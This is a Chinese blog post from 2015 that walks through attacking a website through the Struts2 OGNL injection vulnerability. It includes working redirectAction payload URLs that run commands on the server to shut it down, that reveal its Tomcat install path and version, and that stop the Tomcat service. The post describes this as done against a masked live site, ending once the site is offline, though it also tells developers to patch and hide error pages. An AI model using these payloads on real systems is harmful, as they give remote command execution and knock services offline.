Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1237576
  • 博文数量: 220
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 1769
  • 用 户 组: 普通用户
  • 注册时间: 2015-03-13 16:19
个人简介

努力, 努力, 再努力

文章分类

全部博文(220)

文章存档

2018年(8)

2017年(46)

2016年(75)

2015年(92)

我的朋友

分类: 网络与安全

2015-05-29 17:20:13

怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站?

Struts 是java web frameworks里面的鼻祖了,现在大量的web apps里面,从政府网站到金融系统,都有她的影子(大量的系统都是采用一种被用烂了的SSH(Struts+Spring+Hibernate)组合来 做的)。甚至阿里/淘宝也有一些系统使用了Struts(阿里其实有更好更安全的webx框架的)。

最近被热议的一个高危安全漏 洞:,导致了黑产界的暗流涌动,掀起 继CSDN被“脱裤”以来的又一波“脱裤”热潮。虽然我没怎么使用过struts(只用过struts1.1,那已经是7年以前的陈年旧事了),也忍不住 关注了一下这个漏洞。这个漏洞的根源在于ognl,让注入远程恶意代码有隙可乘。那些还在用Struts2的java程序员们,赶紧补漏洞去吧,安全第一。

下面用一个简单的恶意攻击例子来说明一下这个漏洞的高危性:
1. 选Victim。怎么知道它是用struts做的呢?通常是500错误告诉我们的,一般随便去下载一个不存在的文件,那些粗制滥造的网站就报500了,错 误信息栈暴露了它的OS信息(它会直接告诉我们D:/.../xxx.pdf不存在,那就肯定是Windows了),还有Apache的版本、 Tomcat的版本,从错误信息还可以看出它使用的是SSH... (做web apps的同学们,一定要自己定制500页面啊,否则一不小心就暴露了。。。
2. 开始第一波攻击:
   **.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'shutdown','-s','-t','2'})).start()}
   它返回的是**.com/struts2-showcase/employee/java.lang.ProcessImpl@e18f46.action, 说明这个process成功启动了,2秒之后它的服务器就会被关掉。
   再去用Chrome访问**.com/,Chrome告诉我的是Oops! Google Chrome could not connect to www.**.com,证明服务器确实被我关掉了?
   不要高兴得太早,过了一两分钟发现它又回来了 -- 莫非它的服务器会自动重启的?
3. 开始第二波攻击: 
   既然关你服务器没用,那我直接干掉你的猫(管它猫有没有9条命)
   猜想它tomcat是配了windows服务的,如果真是这样,只要net stop xx就可以杀掉这只猫。那么这个xx是什么呢?这就需要知道tomcat的版本了。
   那么怎么知道tomcat的版本呢?我们可以一个一个去猜,到目前为止,tomcat最高版本也就7嘛,这个好猜。
   不想猜的话,那就让它自己来告诉我们:**.com/struts2-showcase/employee /save.action?redirectAction:%25{(new+java.io.File('.')).getAbsolutePath().replaceAll(':','')}
   它返回的是 **.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
   说明这只猫在D:/program files/apache-tomcat-7.0.29/这里,版本是7.0.29,那么对应的服务名就应该是tomcat7了。
   出绝招:**.com/struts2-showcase/employee /save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'net','stop','tomcat7'})).start()}
4. 这次这只猫真的死翘翘了,www.**.com再也打不开了。收工。
阅读(1373) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~